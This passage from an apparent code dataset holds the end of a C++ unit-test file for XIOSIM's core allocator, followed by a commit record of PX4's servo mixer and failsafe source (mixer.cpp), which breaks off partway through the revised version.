REQUIRE(core_allocator.get_cores_for_asid(process_3) == 2);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_3).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_3)[0] == process_3);\n\n    core_allocator.DeallocateCoresForProcess(process_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 1);\n\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(1.666822));\n    core_allocator.AllocateCoresForProcess(process_1, scaling_1, serial_runtime_1);\n    REQUIRE(core_allocator.get_cores_for_asid(process_1) == 1);\n    REQUIRE(core_allocator.get_penalty_for_asid(process_1) == Approx(-3.88100));\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1).size() == 1);\n    REQUIRE(core_allocator.get_processes_to_unblock(process_1)[0] == process_1);\n}\n\nTEST_CASE(\"Locally optimal allocator, 1 process\", \"local_1\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    const int NUM_TEST_PROCESSES = 1;\n    *num_processes = NUM_TEST_PROCESSES;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n    LoadHelixSpeedupModelData(filepath);\n#ifdef DEBUG\n    std::cout << \"Number of processes: \" << *num_processes << std::endl;\n#endif\n    const int NUM_TESTS = 2;\n    BaseAllocator& core_allocator =\n        AllocatorParser::Get(\"local\", \"throughput\", \"linear\", 1, 8, NUM_CORES_TEST);\n    core_allocator.ResetState();\n\n    \/\/ Initialize test data and correct output.\n    int test_loops[NUM_TESTS] = { 1, 2 };\n    int correct_output[NUM_TESTS] = { NUM_CORES_TEST, NUM_CORES_TEST };\n\n    for (int i = 0; i < NUM_TESTS; i++) {\n        locally_optimal_args arg;\n        arg.allocator = &core_allocator;\n        arg.loop_num = test_loops[i];\n        arg.num_cores_alloc = 0;\n        arg.asid = 0;\n        TestLocallyOptimalPolicyThread(&arg);\n        REQUIRE(arg.num_cores_alloc == correct_output[i]);\n    }\n}\n\nTEST_CASE(\"Locally optimal allocator, 2 processes\", \"local_2\") {\n    using namespace xiosim;\n    SHARED_VAR_INIT(int, num_processes);\n    const int NUM_TEST_PROCESSES = 2;\n    *num_processes = NUM_TEST_PROCESSES;\n    char* filepath = \"xiosim\/pintool\/test_data\/loop_speedup_data.csv\";\n#ifdef DEBUG\n    std::cout << \"Number of processes: \" << *num_processes << std::endl;\n#endif\n    const int NUM_TESTS = 4;\n    BaseAllocator& core_allocator =\n        AllocatorParser::Get(\"local\", \"throughput\", \"linear\", 1, 8, NUM_CORES_TEST);\n    core_allocator.ResetState();\n    LoadHelixSpeedupModelData(filepath);\n\n    \/* Initialize test data and correct output.\n     * test_loops: Each column determines which loops to run.\n     * Example: 2nd column = {1,2} means process 0 runs loop_1 and process 1\n     * runs loop_2.\n     *\/\n    int test_loops[NUM_TEST_PROCESSES][NUM_TESTS] = { { 1, 1, 2, 2 }, { 1, 2, 1, 2 } };\n    \/* correct_output: Each column is the correct number of cores to be\n     * allocated to the process for that row.\n     * Example: 2nd column\n     *\/\n    int correct_output[NUM_TEST_PROCESSES][NUM_TESTS] = { { 8, 1, 15, 8 }, { 8, 15, 1, 8 } };\n    \/* The correct contents of the unblock list. *\/\n    int unblock_list[NUM_TEST_PROCESSES] = { 0, 1 };\n\n    \/\/ Initialize thread variables.\n    pthread_mutex_init(&cout_lock, NULL);\n    pthread_mutex_init(&ackTestMessages_lock, NULL);\n    std::vector<pthread_t> threads(*num_processes);\n    std::vector<locally_optimal_args> args(*num_processes);\n    for (int i = 0; i < NUM_TESTS; i++) {\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            args[j].allocator = &core_allocator;\n            args[j].loop_num = test_loops[j][i];\n            args[j].num_cores_alloc = 0;\n            args[j].asid = j;\n            pthread_create(&threads[j], NULL, TestLocallyOptimalPolicyThread, (void*)&args[j]);\n        }\n        void* status;\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            pthread_join(threads[j], &status);\n        }\n#ifdef DEBUG\n        std::cout << \"All threads have completed.\" << std::endl;\n#endif\n        \/\/ Check the unblock list.\n        for (int j = 0; j < NUM_TEST_PROCESSES; j++) {\n            REQUIRE(args[j].num_cores_alloc == correct_output[j][i]);\n            std::vector<int> returned_unblock_list = core_allocator.get_processes_to_unblock(j);\n            if (args[j].last_to_check_in) {\n                for (int k = 0; k < NUM_TEST_PROCESSES; k++) {\n                    REQUIRE(std::find(returned_unblock_list.begin(),\n                                      returned_unblock_list.end(),\n                                      unblock_list[k]) != returned_unblock_list.end());\n                }\n            } else {\n                REQUIRE(returned_unblock_list.empty());\n            }\n        }\n    }\n}\n\n\/* We need to call InitSharedState() to set up all the shared memory state\n * required by XIOSIM, but that requires some initial setup from the harness.\n * That setup is mimicked here.\n *\/\nvoid SetupSharedState() {\n    using namespace xiosim::shared;\n    using namespace boost::interprocess;\n    std::stringstream pidstream;\n    pid_t test_pid = getpid();\n    pidstream << test_pid;\n    std::string shared_memory_key = pidstream.str() + std::string(XIOSIM_SHARED_MEMORY_KEY);\n    std::string init_lock_key = pidstream.str() + std::string(XIOSIM_INIT_SHARED_LOCK);\n    std::string counter_lock_key = pidstream.str() + std::string(XIOSIM_INIT_COUNTER_KEY);\n\n    \/\/ To be safe, we use xiosim::shared::DEFAULT_SHARED_MEMORY_SIZE, or we\n    \/\/ might run out of shared memory space in InitSharedState().\n    global_shm = new managed_shared_memory(\n        open_or_create, shared_memory_key.c_str(), DEFAULT_SHARED_MEMORY_SIZE);\n    \/\/ InitSharedState() will expect this lock and counter to exist.\n    named_mutex init_lock(open_or_create, init_lock_key.c_str());\n    int* process_counter = global_shm->find_or_construct<int>(counter_lock_key.c_str())();\n    *process_counter = 1;\n    std::cout << \"===========================\" << std::endl << \" Initializing shared state \"\n              << std::endl << \"===========================\" << std::endl;\n    InitSharedState(false, test_pid, NUM_CORES_TEST);\n}\n\nint main(int argc, char* const argv[]) {\n    \/\/ Create the shared memory cleanup struct.\n    using namespace xiosim::shared;\n    using namespace boost::interprocess;\n    struct shm_remove {\n        shm_remove() { shared_memory_object::remove(XIOSIM_SHARED_MEMORY_KEY); }\n        ~shm_remove() { shared_memory_object::remove(XIOSIM_SHARED_MEMORY_KEY); }\n    } remover;\n    SetupSharedState();\n\n    std::cout << \"===========================\" << std::endl << \"    Beginning unit tests   \"\n              << std::endl << \"===========================\" << std::endl;\n    int result = Catch::Session().run(argc, argv);\n    std::cout << std::endl << \"REMEMBER TO CLEAN UP \/dev\/shm!!\" << std::endl;\n    delete global_shm;\n    return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n *\n *   Copyright (C) 2012 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file mixer.cpp\n *\n * Control channel input\/output mixer and failsafe.\n *\/\n\n#include <nuttx\/config.h>\n\n#include <sys\/types.h>\n#include <stdbool.h>\n#include <string.h>\n\n#include <drivers\/drv_pwm_output.h>\n#include <drivers\/drv_hrt.h>\n\n#include <systemlib\/mixer\/mixer.h>\n\nextern \"C\" {\n\/\/#define DEBUG\n#include \"px4io.h\"\n}\n\n\/*\n * Maximum interval in us before FMU signal is considered lost\n *\/\n#define FMU_INPUT_DROP_LIMIT_US\t\t200000\n\n\/* XXX need to move the RC_CHANNEL_FUNCTION out of rc_channels.h and into systemlib *\/\n#define ROLL     0\n#define PITCH    1\n#define YAW      2\n#define THROTTLE 3\n#define OVERRIDE 4\n\n\/* current servo arm\/disarm state *\/\nstatic bool mixer_servos_armed = false;\n\n\/* selected control values and count for mixing *\/\nenum mixer_source {\n\tMIX_NONE,\n\tMIX_FMU,\n\tMIX_OVERRIDE,\n\tMIX_FAILSAFE\n};\nstatic mixer_source source;\n\nstatic int\tmixer_callback(uintptr_t handle,\n\t\t\t       uint8_t control_group,\n\t\t\t       uint8_t control_index,\n\t\t\t       float &control);\n\nstatic MixerGroup mixer_group(mixer_callback, 0);\n\nvoid\nmixer_tick(void)\n{\n\t\/* check that we are receiving fresh data from the FMU *\/\n\tif ((hrt_absolute_time() - system_state.fmu_data_received_time) > FMU_INPUT_DROP_LIMIT_US) {\n\n\t\t\/* too long without FMU input, time to go to failsafe *\/\n\t\tif (r_status_flags & PX4IO_P_STATUS_FLAGS_FMU_OK) {\n\t\t\tdebug(\"AP RX timeout\");\n\t\t}\n\t\tr_status_flags |= PX4IO_P_STATUS_FLAGS_OVERRIDE;\n\t\tr_status_flags &= ~(PX4IO_P_STATUS_FLAGS_FMU_OK | PX4IO_P_STATUS_FLAGS_RAW_PWM);\n\t\tr_status_alarms |= PX4IO_P_STATUS_ALARMS_FMU_LOST;\n\t}\n\n\tsource = MIX_FAILSAFE;\n\n\t\/*\n\t * Decide which set of controls we're using.\n\t *\/\n\tif (r_status_flags & PX4IO_P_STATUS_FLAGS_RAW_PWM) {\n\n\t\t\/* don't actually mix anything - we already have raw PWM values *\/\n\t\tsource = MIX_NONE;\n\n\t} else {\n\n\t\tif (!(r_status_flags & PX4IO_P_STATUS_FLAGS_OVERRIDE) &&\n\t\t     (r_status_flags & PX4IO_P_STATUS_FLAGS_MIXER_OK)) {\n\n\t\t\t\/* mix from FMU controls *\/\n\t\t\tsource = MIX_FMU;\n\t\t}\n\n\t\tif ( (r_status_flags & PX4IO_P_STATUS_FLAGS_OVERRIDE) &&\n\t\t     (r_status_flags & PX4IO_P_STATUS_FLAGS_RC_OK)) {\n\n\t\t \t\/* if allowed, mix from RC inputs directly *\/\n\t\t\tsource = MIX_OVERRIDE;\n\t\t}\n\t}\n\n\t\/*\n\t * Run the mixers.\n\t *\/\n\tif (source == MIX_FAILSAFE) {\n\n\t\t\/* copy failsafe values to the servo outputs *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++)\n\t\t\tr_page_servos[i] = r_page_servo_failsafe[i];\n\n\t} else if (source != MIX_NONE) {\n\n\t\tfloat\toutputs[IO_SERVO_COUNT];\n\t\tunsigned mixed;\n\n\t\t\/* mix *\/\n\t\tmixed = mixer_group.mix(&outputs[0], IO_SERVO_COUNT);\n\n\t\t\/* scale to PWM and update the servo outputs as required *\/\n\t\tfor (unsigned i = 0; i < mixed; i++) {\n\n\t\t\t\/* save actuator values for FMU readback *\/\n\t\t\tr_page_actuators[i] = FLOAT_TO_REG(outputs[i]);\n\n\t\t\t\/* scale to servo output *\/\n\t\t\tr_page_servos[i] = (outputs[i] * 500.0f) + 1500;\n\n\t\t}\n\t\tfor (unsigned i = mixed; i < IO_SERVO_COUNT; i++)\n\t\t\tr_page_servos[i] = 0;\n\t}\n\n#if 0\n\t\t\/* if everything is ok *\/\n\n\t\tif (!system_state.mixer_manual_override && system_state.mixer_fmu_available) {\n\t\t\t\/* we have recent control data from the FMU *\/\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\n\t\t} else if (system_state.rc_channels > 0) {\n\t\t\t\/* when override is on or the fmu is not available, but RC is present *\/\n\t\t\tcontrol_count = system_state.rc_channels;\n\n\t\t\tsched_lock();\n\n\t\t\t\/* remap roll, pitch, yaw and throttle from RC specific to internal ordering *\/\n\t\t\trc_channel_data[ROLL]     = system_state.rc_channel_data[system_state.rc_map[ROLL] - 1];\n\t\t\trc_channel_data[PITCH]    = system_state.rc_channel_data[system_state.rc_map[PITCH] - 1];\n\t\t\trc_channel_data[YAW]      = system_state.rc_channel_data[system_state.rc_map[YAW] - 1];\n\t\t\trc_channel_data[THROTTLE] = system_state.rc_channel_data[system_state.rc_map[THROTTLE] - 1];\n\t\t\t\/\/rc_channel_data[OVERRIDE] = system_state.rc_channel_data[system_state.rc_map[OVERRIDE] - 1];\n\n\t\t\t\/* get the remaining channels, no remapping needed *\/\n\t\t\tfor (unsigned i = 4; i < system_state.rc_channels; i++) {\n\t\t\t\trc_channel_data[i] = system_state.rc_channel_data[i];\n\t\t\t}\n\n\t\t\t\/* scale the control inputs *\/ \n\t\t\trc_channel_data[THROTTLE] = ((float)(rc_channel_data[THROTTLE] - system_state.rc_min[THROTTLE]) \/ \n\t\t\t\t(float)(system_state.rc_max[THROTTLE] - system_state.rc_min[THROTTLE])) * 1000.0f + 1000;\n\n\t\t\tif (rc_channel_data[THROTTLE] > 2000) {\n\t\t\t\trc_channel_data[THROTTLE] = 2000;\n\t\t\t}\n\n\t\t\tif (rc_channel_data[THROTTLE] < 1000) {\n\t\t\t\trc_channel_data[THROTTLE] = 1000;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ lowsyslog(\"Tmin: %d Ttrim: %d Tmax: %d T: %d \\n\",\n\t\t\t\/\/ \t(int)(system_state.rc_min[THROTTLE]), (int)(system_state.rc_trim[THROTTLE]),\n\t\t\t\/\/ \t(int)(system_state.rc_max[THROTTLE]), (int)(rc_channel_data[THROTTLE]));\n\n\t\t\tcontrol_values = &rc_channel_data[0];\n\t\t\tsched_unlock();\n\t\t} else {\n\t\t\t\/* we have no control input (no FMU, no RC) *\/\n\n\t\t\t\/\/ XXX builtin failsafe would activate here\n\t\t\tcontrol_count = 0;\n\t\t}\n\t\t\/\/lowsyslog(\"R: %d P: %d Y: %d T: %d \\n\", control_values[0], control_values[1], control_values[2], control_values[3]);\n\n\t\/* this is for multicopters, etc. where manual override does not make sense *\/\n\t} else {\n\t\t\/* if the fmu is available whe are good *\/\n\t\tif (system_state.mixer_fmu_available) {\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\t\t\/* we better shut everything off *\/\n\t\t} else {\n\t\t\tcontrol_count = 0;\n\t\t}\n\t}\n#endif\n\n\t\/*\n\t * Decide whether the servos should be armed right now.\n\t *\n\t * We must be armed, and we must have a PWM source; either raw from\n\t * FMU or from the mixer.\n\t *\n\t * XXX correct behaviour for failsafe may require an additional case\n\t * here.\n\t *\/\n\tbool should_arm = (\/* FMU is armed *\/ (r_setup_arming & PX4IO_P_SETUP_ARMING_ARM_OK) &&\n\t \t\t   \/* IO is armed *\/  (r_status_flags & PX4IO_P_STATUS_FLAGS_ARMED) &&\n\t\/* there is valid input *\/ (r_status_flags & (PX4IO_P_STATUS_FLAGS_RAW_PWM | PX4IO_P_STATUS_FLAGS_MIXER_OK)));\n\n\tif (should_arm && !mixer_servos_armed) {\n\t\t\/* need to arm, but not armed *\/\n\t\tup_pwm_servo_arm(true);\n\t\tmixer_servos_armed = true;\n\n\t} else if (!should_arm && mixer_servos_armed) {\n\t\t\/* armed but need to disarm *\/\n\t\tup_pwm_servo_arm(false);\n\t\tmixer_servos_armed = false;\n\t}\n\n\tif (mixer_servos_armed) {\n\t\t\/* update the servo outputs. *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++)\n\t\t\tup_pwm_servo_set(i, r_page_servos[i]);\n\t}\n}\n\nstatic int\nmixer_callback(uintptr_t handle,\n\t       uint8_t control_group,\n\t       uint8_t control_index,\n\t       float &control)\n{\n\tif (control_group != 0)\n\t\treturn -1;\n\n\tswitch (source) {\n\tcase MIX_FMU:\n\t\tif (control_index < PX4IO_CONTROL_CHANNELS) {\n\t\t\tcontrol = REG_TO_FLOAT(r_page_controls[control_index]);\n\t\t\tbreak;\n\t\t}\n\t\treturn -1;\n\n\tcase MIX_OVERRIDE:\n\t\tif (r_page_rc_input[PX4IO_P_RC_VALID] & (1 << control_index)) {\n\t\t\tcontrol = REG_TO_FLOAT(r_page_rc_input[PX4IO_P_RC_BASE + control_index]);\n\t\t\tbreak;\n\t\t}\n\t\treturn -1;\n\n\tcase MIX_FAILSAFE:\n\tcase MIX_NONE:\n\t\t\/* XXX we could allow for configuration of per-output failsafe values *\/\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\n\/*\n * XXX error handling here should be more aggressive; currently it is\n * possible to get STATUS_FLAGS_MIXER_OK set even though the mixer has\n * not loaded faithfully.\n *\/\n\nstatic char mixer_text[256];\t\t\/* large enough for one mixer *\/\nstatic unsigned mixer_text_length = 0;\n\nvoid\nmixer_handle_text(const void *buffer, size_t length)\n{\n\n\tpx4io_mixdata\t*msg = (px4io_mixdata *)buffer;\n\n\tdebug(\"mixer text %u\", length);\n\n\tif (length < sizeof(px4io_mixdata))\n\t\treturn;\n\n\tunsigned\ttext_length = length - sizeof(px4io_mixdata);\n\n\tswitch (msg->action) {\n\tcase F2I_MIXER_ACTION_RESET:\n\t\tdebug(\"reset\");\n\t\tmixer_group.reset();\n\t\tmixer_text_length = 0;\n\t\tr_status_flags &= ~PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\n\t\t\/* FALLTHROUGH *\/\n\tcase F2I_MIXER_ACTION_APPEND:\n\t\tdebug(\"append %d\", length);\n\n\t\t\/* check for overflow - this is really fatal *\/\n\t\t\/* XXX could add just what will fit & try to parse, then repeat... *\/\n\t\tif ((mixer_text_length + text_length + 1) > sizeof(mixer_text)) {\n\t\t\tr_status_flags &= ~PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\t\t\treturn;\n\t\t}\n\n\t\t\/* append mixer text and nul-terminate *\/\n\t\tmemcpy(&mixer_text[mixer_text_length], msg->text, text_length);\n\t\tmixer_text_length += text_length;\n\t\tmixer_text[mixer_text_length] = '\\0';\n\t\tdebug(\"buflen %u\", mixer_text_length);\n\n\t\t\/* process the text buffer, adding new mixers as their descriptions can be parsed *\/\n\t\tunsigned resid = mixer_text_length;\n\t\tmixer_group.load_from_buf(&mixer_text[0], resid);\n\n\t\t\/* if anything was parsed *\/\n\t\tif (resid != mixer_text_length) {\n\n\t\t\t\/* ideally, this should test resid == 0 ? *\/\n\t\t\tr_status_flags |= PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\n\t\t\tdebug(\"used %u\", mixer_text_length - resid);\n\n\t\t\t\/* copy any leftover text to the base of the buffer for re-use *\/\n\t\t\tif (resid > 0)\n\t\t\t\tmemcpy(&mixer_text[0], &mixer_text[mixer_text_length - resid], resid);\n\n\t\t\tmixer_text_length = resid;\n\t\t}\n\n\t\tbreak;\n\t}\n}\n<commit_msg>Switched to debug statement which is more efficient regarding stack usage, only printing at debug level 2 or higher.<commit_after>\/****************************************************************************\n *\n *   Copyright (C) 2012 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file mixer.cpp\n *\n * Control channel input\/output mixer and failsafe.\n *\/\n\n#include <nuttx\/config.h>\n\n#include <sys\/types.h>\n#include <stdbool.h>\n#include <string.h>\n\n#include <drivers\/drv_pwm_output.h>\n#include <drivers\/drv_hrt.h>\n\n#include <systemlib\/mixer\/mixer.h>\n\nextern \"C\" {\n\/\/#define DEBUG\n#include \"px4io.h\"\n}\n\n\/*\n * Maximum interval in us before FMU signal is considered lost\n *\/\n#define FMU_INPUT_DROP_LIMIT_US\t\t200000\n\n\/* XXX need to move the RC_CHANNEL_FUNCTION out of rc_channels.h and into systemlib *\/\n#define ROLL     0\n#define PITCH    1\n#define YAW      2\n#define THROTTLE 3\n#define OVERRIDE 4\n\n\/* current servo arm\/disarm state *\/\nstatic bool mixer_servos_armed = false;\n\n\/* selected control values and count for mixing *\/\nenum mixer_source {\n\tMIX_NONE,\n\tMIX_FMU,\n\tMIX_OVERRIDE,\n\tMIX_FAILSAFE\n};\nstatic mixer_source source;\n\nstatic int\tmixer_callback(uintptr_t handle,\n\t\t\t       uint8_t control_group,\n\t\t\t       uint8_t control_index,\n\t\t\t       float &control);\n\nstatic MixerGroup mixer_group(mixer_callback, 0);\n\nvoid\nmixer_tick(void)\n{\n\t\/* check that we are receiving fresh data from the FMU *\/\n\tif ((hrt_absolute_time() - system_state.fmu_data_received_time) > FMU_INPUT_DROP_LIMIT_US) {\n\n\t\t\/* too long without FMU input, time to go to failsafe *\/\n\t\tif (r_status_flags & PX4IO_P_STATUS_FLAGS_FMU_OK) {\n\t\t\tdebug(\"AP RX timeout\");\n\t\t}\n\t\tr_status_flags |= PX4IO_P_STATUS_FLAGS_OVERRIDE;\n\t\tr_status_flags &= ~(PX4IO_P_STATUS_FLAGS_FMU_OK | PX4IO_P_STATUS_FLAGS_RAW_PWM);\n\t\tr_status_alarms |= PX4IO_P_STATUS_ALARMS_FMU_LOST;\n\t}\n\n\tsource = MIX_FAILSAFE;\n\n\t\/*\n\t * Decide which set of controls we're using.\n\t *\/\n\tif (r_status_flags & PX4IO_P_STATUS_FLAGS_RAW_PWM) {\n\n\t\t\/* don't actually mix anything - we already have raw PWM values *\/\n\t\tsource = MIX_NONE;\n\n\t} else {\n\n\t\tif (!(r_status_flags & PX4IO_P_STATUS_FLAGS_OVERRIDE) &&\n\t\t     (r_status_flags & PX4IO_P_STATUS_FLAGS_MIXER_OK)) {\n\n\t\t\t\/* mix from FMU controls *\/\n\t\t\tsource = MIX_FMU;\n\t\t}\n\n\t\tif ( (r_status_flags & PX4IO_P_STATUS_FLAGS_OVERRIDE) &&\n\t\t     (r_status_flags & PX4IO_P_STATUS_FLAGS_RC_OK)) {\n\n\t\t \t\/* if allowed, mix from RC inputs directly *\/\n\t\t\tsource = MIX_OVERRIDE;\n\t\t}\n\t}\n\n\t\/*\n\t * Run the mixers.\n\t *\/\n\tif (source == MIX_FAILSAFE) {\n\n\t\t\/* copy failsafe values to the servo outputs *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++)\n\t\t\tr_page_servos[i] = r_page_servo_failsafe[i];\n\n\t} else if (source != MIX_NONE) {\n\n\t\tfloat\toutputs[IO_SERVO_COUNT];\n\t\tunsigned mixed;\n\n\t\t\/* mix *\/\n\t\tmixed = mixer_group.mix(&outputs[0], IO_SERVO_COUNT);\n\n\t\t\/* scale to PWM and update the servo outputs as required *\/\n\t\tfor (unsigned i = 0; i < mixed; i++) {\n\n\t\t\t\/* save actuator values for FMU readback *\/\n\t\t\tr_page_actuators[i] = FLOAT_TO_REG(outputs[i]);\n\n\t\t\t\/* scale to servo output *\/\n\t\t\tr_page_servos[i] = (outputs[i] * 500.0f) + 1500;\n\n\t\t}\n\t\tfor (unsigned i = mixed; i < IO_SERVO_COUNT; i++)\n\t\t\tr_page_servos[i] = 0;\n\t}\n\n#if 0\n\t\t\/* if everything is ok *\/\n\n\t\tif (!system_state.mixer_manual_override && system_state.mixer_fmu_available) {\n\t\t\t\/* we have recent control data from the FMU *\/\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\n\t\t} else if (system_state.rc_channels > 0) {\n\t\t\t\/* when override is on or the fmu is not available, but RC is present *\/\n\t\t\tcontrol_count = system_state.rc_channels;\n\n\t\t\tsched_lock();\n\n\t\t\t\/* remap roll, pitch, yaw and throttle from RC specific to internal ordering *\/\n\t\t\trc_channel_data[ROLL]     = system_state.rc_channel_data[system_state.rc_map[ROLL] - 1];\n\t\t\trc_channel_data[PITCH]    = system_state.rc_channel_data[system_state.rc_map[PITCH] - 1];\n\t\t\trc_channel_data[YAW]      = system_state.rc_channel_data[system_state.rc_map[YAW] - 1];\n\t\t\trc_channel_data[THROTTLE] = system_state.rc_channel_data[system_state.rc_map[THROTTLE] - 1];\n\t\t\t\/\/rc_channel_data[OVERRIDE] = system_state.rc_channel_data[system_state.rc_map[OVERRIDE] - 1];\n\n\t\t\t\/* get the remaining channels, no remapping needed *\/\n\t\t\tfor (unsigned i = 4; i < system_state.rc_channels; i++) {\n\t\t\t\trc_channel_data[i] = system_state.rc_channel_data[i];\n\t\t\t}\n\n\t\t\t\/* scale the control inputs *\/ \n\t\t\trc_channel_data[THROTTLE] = ((float)(rc_channel_data[THROTTLE] - system_state.rc_min[THROTTLE]) \/ \n\t\t\t\t(float)(system_state.rc_max[THROTTLE] - system_state.rc_min[THROTTLE])) * 1000.0f + 1000;\n\n\t\t\tif (rc_channel_data[THROTTLE] > 2000) {\n\t\t\t\trc_channel_data[THROTTLE] = 2000;\n\t\t\t}\n\n\t\t\tif (rc_channel_data[THROTTLE] < 1000) {\n\t\t\t\trc_channel_data[THROTTLE] = 1000;\n\t\t\t}\n\t\t\t\n\t\t\t\/\/ lowsyslog(\"Tmin: %d Ttrim: %d Tmax: %d T: %d \\n\",\n\t\t\t\/\/ \t(int)(system_state.rc_min[THROTTLE]), (int)(system_state.rc_trim[THROTTLE]),\n\t\t\t\/\/ \t(int)(system_state.rc_max[THROTTLE]), (int)(rc_channel_data[THROTTLE]));\n\n\t\t\tcontrol_values = &rc_channel_data[0];\n\t\t\tsched_unlock();\n\t\t} else {\n\t\t\t\/* we have no control input (no FMU, no RC) *\/\n\n\t\t\t\/\/ XXX builtin failsafe would activate here\n\t\t\tcontrol_count = 0;\n\t\t}\n\t\t\/\/lowsyslog(\"R: %d P: %d Y: %d T: %d \\n\", control_values[0], control_values[1], control_values[2], control_values[3]);\n\n\t\/* this is for multicopters, etc. where manual override does not make sense *\/\n\t} else {\n\t\t\/* if the fmu is available whe are good *\/\n\t\tif (system_state.mixer_fmu_available) {\n\t\t\tcontrol_count = PX4IO_CONTROL_CHANNELS;\n\t\t\tcontrol_values = &system_state.fmu_channel_data[0];\n\t\t\/* we better shut everything off *\/\n\t\t} else {\n\t\t\tcontrol_count = 0;\n\t\t}\n\t}\n#endif\n\n\t\/*\n\t * Decide whether the servos should be armed right now.\n\t *\n\t * We must be armed, and we must have a PWM source; either raw from\n\t * FMU or from the mixer.\n\t *\n\t * XXX correct behaviour for failsafe may require an additional case\n\t * here.\n\t *\/\n\tbool should_arm = (\/* FMU is armed *\/ (r_setup_arming & PX4IO_P_SETUP_ARMING_ARM_OK) &&\n\t \t\t   \/* IO is armed *\/  (r_status_flags & PX4IO_P_STATUS_FLAGS_ARMED) &&\n\t\/* there is valid input *\/ (r_status_flags & (PX4IO_P_STATUS_FLAGS_RAW_PWM | PX4IO_P_STATUS_FLAGS_MIXER_OK)));\n\n\tif (should_arm && !mixer_servos_armed) {\n\t\t\/* need to arm, but not armed *\/\n\t\tup_pwm_servo_arm(true);\n\t\tmixer_servos_armed = true;\n\n\t} else if (!should_arm && mixer_servos_armed) {\n\t\t\/* armed but need to disarm *\/\n\t\tup_pwm_servo_arm(false);\n\t\tmixer_servos_armed = false;\n\t}\n\n\tif (mixer_servos_armed) {\n\t\t\/* update the servo outputs. *\/\n\t\tfor (unsigned i = 0; i < IO_SERVO_COUNT; i++)\n\t\t\tup_pwm_servo_set(i, r_page_servos[i]);\n\t}\n}\n\nstatic int\nmixer_callback(uintptr_t handle,\n\t       uint8_t control_group,\n\t       uint8_t control_index,\n\t       float &control)\n{\n\tif (control_group != 